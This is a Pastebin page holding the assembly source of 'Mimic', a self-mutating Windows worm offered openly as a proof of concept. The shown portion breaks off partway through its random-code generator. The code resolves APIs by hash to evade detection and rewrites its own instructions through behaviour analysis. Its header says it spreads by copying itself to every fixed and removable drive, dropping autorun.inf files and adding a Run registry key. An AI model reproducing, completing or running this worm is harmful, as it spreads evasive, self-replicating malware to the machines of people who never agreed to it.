Advertisement
FlyFar

Mimc Proof-of-concept Worm Source Code

Jul 4th, 2023
1,624
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 118.10 KB | Cybersecurity | 0 0
  1. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  2. ;;
  3. ;; Mimic
  4. ;; by Dr. Theodore Spankman
  5. ;; December 2010
  6. ;;
  7. ;;
  8. ;; This is a proof-of-concept worm for the technique descriped in an
  9. ;; article "Code Mutations via Behaviour Analysis".
  10. ;;
  11. ;; The main idea: The worm analyses the behaviour of its own code, then
  12. ;; creates random code and analyses that behaviour, too. If the behaviour
  13. ;; is the same, the original code will be substituated by the new ranom code.
  14. ;; It can analyse register operations, memory operations and stack operations.
  15. ;; For more information, see the article!
  16. ;;
  17. ;; The worm spreads via copying itself to all fixed and removeable drives,
  18. ;; creating an autostart file at removeable drives, and writing a registry
  19. ;; entry to start at every windows startup.
  20. ;;
  21. ;; The worm uses a simple 16bit hash-algorithm to find the APIs in the DLLs,
  22. ;; so no need to use hardcoded API names.
  23. ;;
  24. ;;
  25. ;;
  26. ;;
  27. ;; This is version 0.01, it is probably quite buggy - even I tried my best to
  28. ;; prevent that (within the given amount of time) - so dont blame me!
  29. ;;
  30. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  31.  
  32.  
  33. include '..\FASM\INCLUDE\win32ax.inc'
  34.  
  35. macro cc restr*, instr*, op1, op2
  36. {
  37.     ; Macro for padding commands to 8byte each and for
  38.     ; adding the restrictions to the GlobalBehaviourTableList
  39.  
  40.     local StartCommand, EndCommand
  41.     StartCommand:
  42.     if op2 eq
  43.     if op1 eq
  44.         instr
  45.     else
  46.         instr op1
  47.     end if
  48.     else
  49.     instr op1,op2
  50.     end if
  51.     EndCommand:
  52.     times (8-EndCommand+StartCommand): nop      ; padding
  53.  
  54.     match any, GlobalBehaviourTableList         ; Add further elements to list
  55.     \{
  56.     GlobalBehaviourTableList equ GlobalBehaviourTableList,restr
  57.     \}
  58.  
  59.     match , GlobalBehaviourTableList            ; Add first element to list
  60.     \{
  61.     GlobalBehaviourTableList equ restr
  62.     \}
  63. }
  64.  
  65. macro VEH_TRY c*
  66. {
  67.     cc rNoEmul,  call,    MirrorTheStack
  68.  
  69.     cc rPSI,     mov,     dword[sESP], esp
  70.  
  71.     cc rNoRes,   push,    VEH_Handler#c
  72.     cc rNoRes,   push,    0x1
  73.     cc rNoEmul,  stdcall, dword[AddVectoredExceptionHandler]
  74.     cc rNoRes,   mov,     dword[hVEH], eax
  75. }
  76.  
  77.  
  78. macro VEH_EXCEPTION c*
  79. {
  80.     cc rNoEmul,  call,    RestoreTheStack
  81.     cc rA,       xor,     eax, eax
  82.     cc rNoRes,   mov,     dword[bException#c], eax
  83.     cc rNoEmul,  jmp,     VEH_NoException#c
  84.  
  85.      VEH_Handler#c:
  86.     cc rA,       mov,     eax, dword[hDataMirror]
  87.     cc rAB,      mov,     ebx, dword[hDataMirror1]
  88.  
  89.     cc rF,       cmp,     eax, ebx
  90.     cc rNoEmul,  je,      VEH_HandlerDataMirrorOK#c
  91.     cc rC,       mov,     ecx, dword[hDataMirror2]
  92.     cc rNoRes,   mov,     dword[hDataMirror], ecx
  93.  
  94.     VEH_HandlerDataMirrorOK#c:
  95.     cc rNoEmul,  call,    RestoreTheMemory
  96.  
  97.     cc rNoEmul,  mov,     esp, dword[sESP]
  98.  
  99.     cc rABCDPSI, mov,     eax, 1
  100.     cc rABCDPSI, mov,     dword[bException#c], eax
  101.     cc rNoEmul,  call,    RestoreTheStack
  102. }
  103.  
  104.  
  105. macro VEH_END c*
  106. {
  107.      VEH_NoException#c:
  108.     cc rA,      mov,     eax, dword[hVEH]
  109.     cc rNoRes,  push,    eax
  110.     cc rNoEmul, stdcall, dword[RemoveVectoredExceptionHandler]
  111. }
  112.  
  113.  
  114. .data
  115. DataStart:
  116.  
  117.     CodeStartInFile EQU 0x600
  118.  
  119. GlobalBehaviourTableList equ
  120.  
  121. ; eax=A     ebp=P
  122. ; ebx=B     esi=S
  123. ; ecx=C     edi=I
  124. ; edx=D     FLAGS=F
  125.  
  126. rNoRes    EQU 00000000b
  127. rA    EQU 00000001b
  128. rB    EQU 00000010b
  129. rAB   EQU 00000011b
  130. rC    EQU 00000100b
  131. rAC   EQU 00000101b
  132. rBC   EQU 00000110b
  133. rABC      EQU 00000111b
  134. rD    EQU 00001000b
  135. rAD   EQU 00001001b
  136. rABD      EQU 00001011b
  137. rCD   EQU 00001100b
  138. rACD      EQU 00001101b
  139. rBCD      EQU 00001110b
  140. rABCD     EQU 00001111b
  141. rP    EQU 00010000b
  142. rAP   EQU 00010001b
  143. rBP   EQU 00010010b
  144. rCP   EQU 00010100b
  145. rDP   EQU 00011000b
  146. rCDP      EQU 00011100b
  147. rACP      EQU 00010101b
  148. rBCP      EQU 00010110b
  149. rADP      EQU 00011001b
  150. rBDP      EQU 00011010b
  151. rBCDP     EQU 00011110b
  152. rABCDP    EQU 00011111b
  153. rS    EQU 00100000b
  154. rAS   EQU 00100001b
  155. rBS   EQU 00100010b
  156. rABS      EQU 00100011b
  157. rCS   EQU 00100100b
  158. rACS      EQU 00100101b
  159. rBCS      EQU 00100110b
  160. rABCS     EQU 00100111b
  161. rDS   EQU 00101000b
  162. rADS      EQU 00101001b
  163. rCDS      EQU 00101100b
  164. rACDS     EQU 00101101b
  165. rABCDS    EQU 00101111b
  166. rPS   EQU 00110000b
  167. rBPS      EQU 00110010b
  168. rCPS      EQU 00110100b
  169. rACPS     EQU 00110101b
  170. rBCPS     EQU 00110110b
  171. rDPS      EQU 00111000b
  172. rABCDPS   EQU 00111111b
  173. rI    EQU 01000000b
  174. rAI   EQU 01000001b
  175. rCI   EQU 01000100b
  176. rACI      EQU 01000101b
  177. rSI   EQU 01100000b
  178. rASI      EQU 01100001b
  179. rABSI     EQU 01100011b
  180. rCSI      EQU 01100100b
  181. rACSI     EQU 01100101b
  182. rDSI      EQU 01101000b
  183. rADSI     EQU 01101001b
  184. rCDSI     EQU 01101100b
  185. rACDSI    EQU 01101101b
  186. rABCDSI   EQU 01101111b
  187. rPSI      EQU 01110000b
  188. rAPSI     EQU 01110001b
  189. rBPSI     EQU 01110010b
  190. rABPSI    EQU 01110011b
  191. rACPSI    EQU 01110101b
  192. rABCPSI   EQU 01110111b
  193. rDPSI     EQU 01111000b
  194. rADPSI    EQU 01111001b
  195. rBDPSI    EQU 01111010b
  196. rCDPSI    EQU 01111100b
  197. rACDPSI   EQU 01111101b
  198. rBCDPSI   EQU 01111110b
  199. rABCDPSI  EQU 01111111b
  200. rF    EQU 10000000b
  201. rAF   EQU 10000001b
  202. rBF   EQU 10000010b
  203. rABF      EQU 10000011b
  204. rCF   EQU 10000100b
  205. rACF      EQU 10000101b
  206. rABCF     EQU 10000111b
  207. rDF   EQU 10001000b
  208. rADF      EQU 10001001b
  209. rBDF      EQU 10001010b
  210. rABDF     EQU 10001011b
  211. rPF   EQU 10010000b
  212. rAPF      EQU 10010001b
  213. rBPF      EQU 10010010b
  214. rACPF     EQU 10010101b
  215. rBCPF     EQU 10010110b
  216. rDPF      EQU 10011000b
  217. rBDPF     EQU 10011010b
  218. rCDPF     EQU 10011100b
  219. rSF   EQU 10100000b
  220. rACSF     EQU 10100101b
  221. rCDSF     EQU 10101100b
  222. rACDSF    EQU 10101101b
  223. rABCDSF   EQU 10101111b
  224. rDPSF     EQU 10111000b
  225. rCIF      EQU 11000100b
  226. rCSIF     EQU 11100100b
  227. rCDSIF    EQU 11101100b
  228. rACDSIF   EQU 11101101b
  229. rACPSIF   EQU 11110101b
  230. rADPSIF   EQU 11111001b
  231. rBDPSIF   EQU 11111010b
  232. rCDPSIF   EQU 11111100b
  233. rBCDPSIF  EQU 11111110b
  234. rABCDPSIF EQU 11111111b
  235.  
  236.  
  237. rNoEmul   EQU 10110101b
  238.  
  239.         stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0
  240.  
  241.         hKey  dd 0x0
  242.  
  243.         hVEH           dd 0x0
  244.         RandomNumber       dd 0x0
  245.         tmpAddress     dd 0x0
  246.         tmpRetVal      dd 0x0
  247.  
  248.         hTempAlloc2    dd 0x0
  249.  
  250.         hDataMirror    dd 0x0
  251.  
  252.         hCreateFileAR        dd 0x0
  253.         hCreateFileMappingAR dd 0x0
  254.  
  255.         hExecutionMirror   dd 0x0
  256.         hLBTFileCode       dd 0x0
  257.         tmpMemProtection   dd 0x0
  258.         hStackMirror       dd 0x0
  259.         hStackSize     dd 0x0
  260.         tmpAddress1    dd 0x0
  261.         hStackStart    dd 0x0
  262.         tmpGBT         db 0x0
  263.         hMyFileName    dd 0x0
  264.         SpaceForHDC:       dd 0x0   ; should be 0x0, C:\
  265.         RandomFileName: times 13 db 0x0
  266.  
  267.         SpaceForHDC2:      dd 0x0   ; should be 0x0, X:\
  268.         RandomFileName2:times 13 db 0x0
  269.  
  270.         WormCodeStart   dd 0x0
  271.         RndNumCycle dd 0x0
  272.  
  273.         hDataMirror1 dd 0x0
  274.  
  275.         hCreateFileRndFile dd 0x0
  276.         dFileSize      dd 0x0
  277.         hCreateMapRndFile  dd 0x0
  278.         tmpAddress2    dd 0x0
  279.         hMapViewRndFile    dd 0x0
  280.  
  281.  
  282.     hTempAlloc1   dd 0x0
  283.  
  284.         stAutoRunContent: times 52 db 0x0
  285.  
  286.         bExceptionFC1 db 0x0
  287.         bExceptionRC1 db 0x0
  288.         bExceptionFC2 db 0x0
  289.         bExceptionRC2 db 0x0
  290.         bExceptionFC2SIM db 0x0
  291.         bExceptionRC2SIM db 0x0
  292.  
  293.         BBExceptionCount  db 0x0
  294.         hRandomizedData   dd 0x0
  295.         _VirtualProtect1  dd 0x0
  296.  
  297.         stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\"
  298.         stAutoruninf: times 12 db 0x0
  299.                   ; "autorun.inf"
  300.  
  301.         hRandomizedData1 dd 0x0
  302.         tmpDWA dd 0x0
  303.         tmpDWB dd 0x0
  304.         tmpDWC dd 0x0
  305.         CGPushPop db 0x0
  306.     tmpReg4Mirror:
  307.         tmpDW1 dd 0x0
  308.         tmpDW2 dd 0x0
  309.         tmpDW3 dd 0x0
  310.         tmpDW4 dd 0x0
  311.         tmpDW5 dd 0x0
  312.         tmpDW6 dd 0x0
  313.         tmpDW7 dd 0x0
  314.         tmpDW8 dd 0x0
  315.  
  316.         sESP dd 0x0
  317.  
  318.         rEAX dd 0x0
  319.         rECX dd 0x0
  320.         rEDX dd 0x0
  321.         rEBX dd 0x0
  322.         rEBP dd 0x0
  323.         rESI dd 0x0
  324.         rEDI dd 0x0
  325.  
  326.         dd 0x0, 0x0, 0x0, 0x0
  327.  
  328.         hDataMirror2 dd 0x0
  329.  
  330.         hPrepareRegistersAndTable dd 0x0
  331.         hMirrorTheMemory      dd 0x0
  332.  
  333.     _VirtualAlloc1  dd 0x0
  334.  
  335.     _DLLkernel32:    times 13 db 0x0
  336.     hDLLkernel32     dd 0x0
  337.  
  338.     _DLLadvapi32:    times 13 db 0x0
  339.     hDLLadvapi32     dd 0x0
  340.  
  341.     hKernelPE    dd 0x0
  342.  
  343.     hAddressTable dd 0x0
  344.     hNamePointerTable dd 0x0
  345.     hOrdinalTable dd 0x0
  346.  
  347.     APINumbersKernel EQU (APIMagicNumbersKernel32End-APIMagicNumbersKernel32)/4
  348.  
  349.     APIMagicNumbersKernel32:
  350. ;                hashAddVectoredExceptionHandler dd 0x85D3
  351.                             ; The VEH APIs are directly redirected to ntdll, so the entry in the AddressTable is not valid
  352.                             ; this counts for XP, Vista and probably Vista+, too
  353.         hashCloseHandle     dd 0xA2C8
  354.         hashCopyFileA       dd 0x8ADF
  355.         hashCreateFileA     dd 0x89DE
  356.         hashCreateFileMappingA dd 0xD198
  357.         hashGetCommandLineA dd 0x8287
  358.         hashGetDriveTypeA   dd 0x6586
  359.         hashGetFileSize     dd 0x87DF
  360.         hashGetTickCount    dd 0xEBAE
  361.         hashMapViewOfFile   dd 0xA6D0
  362. ;                hashRemoveVectoredExceptionHandler dd 0xB98C
  363.         hashSetErrorMode    dd 0xCF8D
  364.         hashSleep       dd 0x6EAA
  365.         hashUnmapViewOfFile dd 0xA5F9
  366.         hashVirtualAlloc    dd 0xC563
  367.         hashVirtualFree     dd 0x88F0
  368.         hashVirtualProtect  dd 0xAE67
  369.     APIMagicNumbersKernel32End:
  370.  
  371.     APIAddressesKernel:
  372. ;                _AddVectoredExceptionHandler dd 0x0
  373.         _CloseHandle     dd 0x0
  374.         _CopyFileA   dd 0x0
  375.         _CreateFileA     dd 0x0
  376.         _CreateFileMappingA dd 0x0
  377.         _GetCommandLineA dd 0x0
  378.         _GetDriveTypeA   dd 0x0
  379.         _GetFileSize     dd 0x0
  380.         _GetTickCount    dd 0x0
  381.         _MapViewOfFile   dd 0x0
  382. ;                _RemoveVectoredExceptionHandler dd 0x0
  383.         _SetErrorMode    dd 0x0
  384.         _Sleep       dd 0x0
  385.         _UnmapViewOfFile dd 0x0
  386.         _VirtualAlloc    dd 0x0
  387.         _VirtualFree     dd 0x0
  388.         _VirtualProtect  dd 0x0
  389.  
  390.     APINumbersAdvapi EQU (APIMagicNumbersAdvapi32End-APIMagicNumbersAdvapi32)/4
  391.  
  392.     APIMagicNumbersAdvapi32:
  393.         hashRegCloseKey       dd 0x84C2
  394.         hashRegCreateKeyExA   dd 0xAC9F
  395.         hashRegSetValueExA    dd 0xC655
  396.     APIMagicNumbersAdvapi32End:
  397.  
  398.     APIAddressesAdvapi:
  399.         _RegCloseKey      dd 0x0
  400.         _RegCreateKeyExA  dd 0x0
  401.         _RegSetValueExA   dd 0x0
  402.  
  403.  
  404.  
  405.     APICurrentMagicNum dd 0x0
  406.     APICurrentNumber   dd 0x0
  407.     APICurrentAddress  dd 0x0
  408.  
  409. ; ###########################################################################
  410. ; ###########################################################################
  411. ; #####
  412. ; #####   Local BehaviourTable
  413. ; #####
  414.  
  415.  
  416.  
  417. LocalBehaviourTable:
  418.     CommandNumber      EQU (EndPaddedCommands-StartPaddedCommands)/8
  419.     BehaviourTableSize EQU 18*4
  420.                ; Has to be a mulitple of 4!
  421.  
  422.         ; Each behaviour Block consists of:
  423.         ; Registers: 9*4=36 byte
  424.         ;  0x00 dd EAX
  425.         ;  0x04 dd EBX
  426.         ;  0x08 dd ECX
  427.         ;  0x0C dd EDX
  428.         ;  0x10 dd EBP
  429.         ;  0x14 dd ESI
  430.         ;  0x18 dd EDI
  431.         ;  0x1C dd FLAGS
  432.         ;  0x20 dd ESP
  433.  
  434.         ; Memory: 2*4*4=8*4=32 byte:
  435.         ;  0x24 dd MemOffset1
  436.         ;  0x28 dword[MemOffset1]
  437.         ;  0x2C dd MemOffset2
  438.         ;  0x30 dword[MemOffset2]
  439.         ;  0x34 dd MemOffset3
  440.         ;  0x38 dword[MemOffset3]
  441.         ;  0x3C dd MemOffset4
  442.         ;  0x40 dword[MemOffset4]
  443.  
  444.         ; Stack: 1*4=4 byte
  445.         ; (could be extented, but i like it that way more :) )
  446.         ;  0x44 STACK change (if push is used)
  447.  
  448.     TempBehaviourTable: times BehaviourTableSize db 0x0
  449.  
  450.     BBTableFileCode: times BehaviourTableSize db 0x0
  451.     BBTableRandomCode: times BehaviourTableSize db 0x0
  452.  
  453.  
  454.  
  455. ; #####
  456. ; #####   Local BehaviourTable
  457. ; #####
  458. ; ###########################################################################
  459. ; ###########################################################################
  460.  
  461.  
  462. ; ###########################################################################
  463. ; ###########################################################################
  464. ; #####
  465. ; #####   Buffers for execution
  466. ; #####
  467.  
  468.         RandomCodeBufferSize EQU 0x08
  469.                      ; At some parts, the code relies on
  470.                      ; that value, so check that when you
  471.                      ; change it.
  472.  
  473.         CodeExecDifference EQU (RandomCodeExecutionWithoutPRAT-RandomCodeExecution)
  474.         CodeExecSize EQU (RandomCodeExectionEnd-RandomCodeExecution)
  475.  
  476.  
  477. RandomCodeExecution:
  478.         call    dword[hPrepareRegistersAndTable]
  479.    RandomCodeExecutionWithoutPRAT:
  480.  
  481.             call    dword[hMirrorTheMemory]
  482.  
  483.         RandomCode:
  484. ;                add al, 1
  485. ;                 mov byte[tmpDWA], 33
  486.             times RandomCodeBufferSize db 0x90
  487.         RC_End:
  488.         times (8-RC_End+RandomCode): nop      ; padding
  489.         RC_Padding: times 8 db 0x90 ; If error occure and malicous code is generated
  490.                         ; As buffer that this malicous code does not "overwrite" the opcodes of the next "call"
  491.         call    dword[hAnalyseBehaviourOfCode]
  492.    ret
  493. RandomCodeExectionEnd:
  494.  
  495.  
  496. FileCodeExection:
  497.         call    dword[hPrepareRegistersAndTable]
  498.    FileCodeExecutionWithoutPRAT:
  499.  
  500.             call    dword[hMirrorTheMemory]
  501.  
  502.         BufferForCode:
  503.  
  504.             times RandomCodeBufferSize db 0x90
  505.         FC_Padding: times 8 db 0x90 ; If error occure and malicous code is generated
  506.                         ; As buffer that this malicous code does not "overwrite" the opcodes of the next "call"
  507.         call    dword[hAnalyseBehaviourOfCode]
  508.    ret
  509. FileCodeExectionEnd:
  510.  
  511.  
  512.  
  513. ; #####
  514. ; #####   Buffers for execution
  515. ; #####
  516. ; ###########################################################################
  517. ; ###########################################################################
  518.  
  519.  
  520.  
  521.  
  522. DataEnd:
  523.  
  524.     times 8 db 0x0
  525.  
  526.  
  527. .code
  528. CodeStart:
  529. ; Temp Code
  530.  
  531. StartPaddedCommands:
  532.         cc rNoEmul, call,    GetAllAPIAddresses     ; Will receive the addresses of all
  533.                                 ; required APIs from kernel32.dll and advapi32.dll
  534.                                 ; using a 16bit hash for each API name. The hash
  535.                                 ; will be calculated with a simple XOR/SUB/ADD algorithm
  536.  
  537.         cc rNoEmul, stdcall, dword[_GetTickCount]
  538.         cc rNoRes,  mov,     dword[RandomNumber], eax
  539.  
  540.         cc rNoRes,  push,    0x8007
  541.         cc rNoEmul, stdcall, dword[_SetErrorMode]
  542.  
  543.         cc rNoEmul, stdcall, dword[_GetCommandLineA]
  544.         cc rNoRes,  mov,     dword[hMyFileName], eax
  545.         cc rF,      cmp,     byte[eax], '"'
  546.         cc rNoEmul, jne,     FileNameIsFine
  547.         cc rA,      inc,     eax
  548.         cc rA,      mov,     dword[hMyFileName], eax
  549.  
  550.         FindFileNameLoop:
  551.             cc rA,       inc,     eax
  552.             cc rAF,      cmp,     byte[eax], '"'
  553.         cc rNoEmul, jne,     FindFileNameLoop
  554.  
  555.         cc rNoRes,  mov,     byte[eax], 0x0
  556.         FileNameIsFine:
  557.  
  558.         cc rNoEmul, call,    CopyFileAndRegEntry
  559.  
  560.         cc rNoRes,  push,    PAGE_READONLY
  561.         cc rNoRes,  push,    MEM_COMMIT
  562.         cc rNoRes,  push,    (DataEnd-DataStart)
  563.         cc rNoRes,  push,    0x0             ; lpAddress - optional
  564.         cc rNoEmul, stdcall, dword[_VirtualAlloc]    ; For mirroring the Memory
  565.         cc rA,      mov,     dword[hDataMirror], eax
  566.         cc rA,      mov,     dword[hDataMirror1], eax     ; This may be destroyed by a random
  567.         cc rNoRes,  mov,     dword[hDataMirror2], eax     ; code. Saving it three times gives
  568.                                   ; the possibility to find the true one
  569.                                   ; anyway.
  570.  
  571.         cc rA,      mov,     eax, dword[fs:0x4]      ; TIB: Top of stack
  572.         cc rAB,     mov,     ebx, dword[fs:0x8]      ; TIB: Current bottom of stack
  573.         cc rAB,     mov,     dword[hStackStart], ebx
  574.  
  575.         cc rA,      sub,     eax, ebx            ; eax=Size of current stack
  576.         cc rA,      mov,     dword[hStackSize], eax  ; Save size of stack
  577.  
  578.         cc rNoRes,  push,    PAGE_READONLY
  579.         cc rNoRes,  push,    MEM_COMMIT
  580.         cc rNoRes,  push,    eax
  581.         cc rNoRes,  push,    0x0             ; lpAddress - optional
  582.         cc rNoEmul, stdcall, dword[_VirtualAlloc]    ; For mirroring the Stack
  583.         cc rNoRes,  mov,     dword[hStackMirror], eax
  584.  
  585.  
  586.         cc rNoRes,  push,    PAGE_READONLY
  587.         cc rNoRes,  push,    MEM_COMMIT
  588.         cc rNoRes,  push,    (DataEnd-DataStart)
  589.         cc rNoRes,  push,    0x0
  590.         cc rNoEmul, stdcall, dword[_VirtualAlloc]         ; For generating a randomized memory
  591.         cc rA,      mov,     dword[hRandomizedData], eax
  592.         cc rA,      mov,     dword[hRandomizedData1], eax
  593.         cc rNoEmul, call,    CreateRandomizedData
  594.  
  595.         cc rNoRes,  push,    PAGE_EXECUTE_READ
  596.         cc rNoRes,  push,    MEM_COMMIT
  597.         cc rNoRes,  push,    CodeExecSize
  598.         cc rNoRes,  push,    0x0
  599.         cc rNoEmul, stdcall, dword[_VirtualAlloc]     ; For execution of code - to prevent self-destruction :D
  600.         cc rNoRes,  mov,     dword[hExecutionMirror], eax
  601.  
  602.  
  603.         cc rNoRes,  push,    PAGE_READWRITE
  604.         cc rNoRes,  push,    MEM_COMMIT
  605.         cc rNoRes,  push,    2*4*4       ; Memory BT: 4 times: 2*dd = 32byte
  606.         cc rNoRes,  push,    0x0
  607.         cc rNoEmul, stdcall, dword[_VirtualAlloc]
  608.         cc rA,      mov,     dword[hTempAlloc1], eax
  609.         cc rNoRes,  mov,     dword[hTempAlloc2], eax        ; eax=Temp.VirtualAlloc
  610.  
  611.  
  612.         cc rA,      mov,     eax, PrepareRegistersAndTable
  613.         cc rNoRes,  mov,     dword[hPrepareRegistersAndTable], eax
  614.         cc rA,      mov,     eax, MirrorTheMemory
  615.         cc rNoRes,  mov,     dword[hMirrorTheMemory], eax
  616.  
  617.         cc rNoEmul, call,    CreateRandomRegisters
  618.         cc rNoEmul, call,    MakeBehaviourTableOfOwnCode
  619.  
  620.  
  621. ; ###########################################################################
  622. ; ###########################################################################
  623. ; #####
  624. ; #####   Random Code Execution Loop
  625. ; #####
  626.  
  627.     cc rD,      xor, edx, edx
  628.  
  629.      LoopRnd:
  630.     cc rCD,      xor, ecx, ecx
  631.  
  632.     LLR:
  633.     cc rNoEmul,  pushad
  634.  
  635.         cc rNoEmul,  call,    CreateRandomCode
  636.  
  637.       ;  #####################################################################
  638.       ;  ########
  639.       ;  # TRY
  640.       ;  # {
  641.       ;  #
  642.         VEH_TRY RC1
  643.  
  644.         cc rA,      mov,     eax, TempBehaviourTable
  645.         cc rA,      mov,     dword[tmpAddress], eax
  646.         cc rA,      mov,     dword[tmpAddress1], eax
  647.         cc rNoRes,  mov,     dword[tmpAddress2], eax
  648.         cc rA,      xor,     eax, eax
  649.         cc rAB,     mov,     ebx, RandomCodeExecution
  650.         cc rNoEmul, call,    GenerateExecuteableCodeInMemory      ; Call the Function in data section
  651.                                  ; Can not be written in .code as it's write-protected
  652.                                  ; which is important for the random-code executions
  653.                                  ; (to not destroy entire code).
  654.         cc rNoEmul, call,    dword[hExecutionMirror] ; Can not execute it in .data section as it's not
  655.                                  ; write protected, and the random code can (and will)
  656.                                  ; overwrite itself (self-destruction). Solution:
  657.                                  ; Virtual Allocated Memory with variable Protection
  658.  
  659.       ; #
  660.       ; #  }
  661.       ; #  CATCH
  662.       ; #  {
  663.       ; #
  664.  
  665.         VEH_EXCEPTION RC1
  666.  
  667.         VEH_END RC1
  668.       ; #
  669.       ; # }
  670.       ; ########
  671.       ; #####################################################################
  672.  
  673.  
  674.         cc rNoEmul, call,    CompareCodeBTwithRandomBT
  675.  
  676.     cc rNoEmul, popad
  677.  
  678.  
  679.  
  680.     cc rC,      inc, ecx
  681.     cc rCF,     cmp, ecx, 0x5
  682.     cc rNoEmul, jb, LLR
  683.  
  684.  
  685.     cc rNoEmul, pushad
  686.  
  687.     cc rNoRes,  push, 10
  688.     cc rNoEmul, stdcall, dword[_Sleep]
  689.     cc rNoEmul, popad
  690.  
  691.     cc rD,      inc, edx
  692.     cc rDF,     cmp, edx, 50
  693.   cc rNoEmul,  jb,  LoopRnd
  694.  
  695.     cc rNoEmul, call,    SpreadThisKitty
  696.  
  697.     cc rD,      xor,     edx, edx
  698.  
  699. cc rNoEmul, jmp,     LoopRnd
  700.  
  701. ; #####
  702. ; #####   Random Code Execution Loop
  703. ; #####
  704. ; ###########################################################################
  705. ; ###########################################################################
  706.  
  707.  
  708.  
  709.  
  710. ; ###########################################################################
  711. ; ###########################################################################
  712. ; #####
  713. ; #####   Generate Random Code in allocated Memory for Execution
  714. ; #####
  715.  
  716. GenerateExecuteableCodeInMemory:
  717. ; In: eax=0 ... Write from RandomCodeExecution1-RandomCodeExecution1End
  718. ;     else: eax=(RandomCodeExecutionWithoutPRAT-RandomCodeExecution1)
  719. ;     ebx: Source (RandomCodeExecution or FileCodeExection)
  720. ; This function is used to generate the random code in memory, because .data section
  721. ; is READ/WRITE/EXECUTE, hence the random code can (and will) overwrite itself.
  722. ; Solution: It will be executed in a READ/EXECUTE memory.
  723.  
  724.     cc rB,      push,    eax
  725.     cc rNoRes,  push,    ebx
  726.  
  727.     cc rNoRes,  push,    tmpMemProtection
  728.     cc rNoRes,  push,    PAGE_READWRITE
  729.     cc rNoRes,  push,    CodeExecSize
  730.     cc rNoRes,  push,    dword[hExecutionMirror]
  731.     cc rNoEmul, stdcall, dword[_VirtualProtect]
  732.  
  733.  
  734.     cc rB,      pop,     ebx
  735.     cc rAB,     pop,     eax
  736.  
  737.     cc rABC,    xor,     ecx, ecx
  738.     cc rACS,    mov,     esi, ebx
  739.     cc rCS,     add,     esi, eax
  740.     cc rCSI,    mov,     edi, dword[hExecutionMirror]
  741.  
  742.      GenerateExecuteableCodeInMemoryMore:
  743.     cc rACSI,   mov,     eax, dword[esi]
  744.     cc rCSI,    mov,     dword[edi], eax
  745.     cc rCSI,    add,     esi, 0x4
  746.     cc rCSI,    add,     edi, 0x4
  747.     cc rCSI,    add,     ecx, 0x4
  748.     cc rCSIF,   cmp,     ecx, CodeExecSize
  749.      cc rNoEmul, jb, GenerateExecuteableCodeInMemoryMore
  750.  
  751.     cc rNoRes,  push,    tmpMemProtection
  752.     cc rNoRes,  push,    PAGE_EXECUTE_READ
  753.     cc rNoRes,  push,    CodeExecSize
  754.     cc rNoRes,  push,    dword[hExecutionMirror]
  755.     cc rNoEmul, stdcall, dword[_VirtualProtect]
  756.  
  757. cc rNoEmul, ret
  758.  
  759. ; #####
  760. ; #####   Generate Random Code in allocated Memory for Execution
  761. ; #####
  762. ; ###########################################################################
  763. ; ###########################################################################
  764.  
  765.  
  766.  
  767.  
  768. ; ###########################################################################
  769. ; ###########################################################################
  770. ; #####
  771. ; #####   Linear Congruent Generator (Random Number Generator)
  772. ; #####
  773.  
  774. GetRandomNumber:
  775.         cc rNoEmul, pushad
  776.         cc rD,      xor,     edx, edx
  777.         cc rAD,     mov,     eax, dword[RandomNumber]
  778.  
  779.         cc rABD,    mov,     ebx, 1103515245
  780.         cc rA,      mul,     ebx        ; EDX:EAX = EDX:EAX * EBX
  781.  
  782.         cc rA,      add,     eax, 12345
  783.         cc rNoRes,  mov,     dword[RandomNumber], eax
  784.         cc rNoEmul, popad
  785. cc rNoEmul, ret
  786.  
  787.  
  788. GetGoodRandomNumber:
  789.         cc rNoEmul, pushad
  790.         cc rC,      mov,     ecx, dword[RandomNumber]
  791.         cc rC,      shr,     ecx, 11
  792.         cc rC,      and,     ecx, 0xF
  793.         cc rC,      inc,     ecx
  794.         GetGoodRandomNumberMore:            ; The linear congruent generator has some serios problems when
  795.                                 ; one needs "good" random numbers. There were patterns in the
  796.                                 ; numbers that leaded to wrong results
  797.         cc rNoEmul, call,   GetRandomNumber
  798.         cc rCF,     dec,     ecx
  799.         cc rNoEmul, jnz,     GetGoodRandomNumberMore
  800.         cc rNoEmul, popad
  801. cc rNoEmul, ret
  802.  
  803.  
  804. CreateSpecialRndNumber:
  805. ; in: ebx, ecx
  806. ; out: edx=(rand()%ebx + ecx)
  807.  
  808.         cc rNoEmul, call,    GetRandomNumber
  809.  
  810.         cc rBCD,    xor,     edx, edx
  811.         cc rABCD,   mov,     eax, dword[RandomNumber]
  812.         cc rCD,     div,     ebx
  813.  
  814.         cc rD,      add,     edx, ecx
  815. cc rNoEmul, ret
  816.  
  817. BBSimSpecialRndNum:
  818.         cc rC,       xor,     ecx, ecx
  819.         cc rBC,      mov,     ebx, 50
  820.         cc rNoEmul,  call,    CreateSpecialRndNumber
  821.         cc rD,       sub,     dl, 25
  822.         cc rAD,      mov,     eax, edx
  823. cc rNoEmul, ret
  824.  
  825. ; #####
  826. ; #####   Linear Congruent Generator (Random Number Generator)
  827. ; #####
  828. ; ###########################################################################
  829. ; ###########################################################################
  830.  
  831.  
  832.  
  833.  
  834. ; ###########################################################################
  835. ; ###########################################################################
  836. ; #####
  837. ; #####   Random Code Generator
  838. ; #####
  839.  
  840. CreateRandomCode:
  841. ; 0x00 ... add Mem8,  Reg8       0x00 (0x00-0xBF)     OPMem8Reg8
  842. ; 0x00 ... add Reg8,  Reg8       0x00 (0xC0-0xFF)     OPReg8Reg8
  843. ; 0x01 ... add Mem32, Reg32      0x01 (0x00-0xBF)     OPMem32Reg32
  844. ; 0x01 ... add Reg32, Reg32      0x01 (0xC0-0xFF)     OPReg32Reg32
  845. ; 0x02 ... add Reg8,  Mem8       0x02 (0x00-0xBF)     OPMem8Reg8
  846. ; 0x02 ... add Reg8,  Reg8       0x02 (0xC0-0xFF)     OPReg8Reg8
  847. ; 0x03 ... add Reg32, Mem32      0x03 (0x00-0xBF)     OPMem32Reg32
  848. ; 0x03 ... add Reg32, Reg32      0x03 (0xC0-0xFF)     OPReg32Reg32
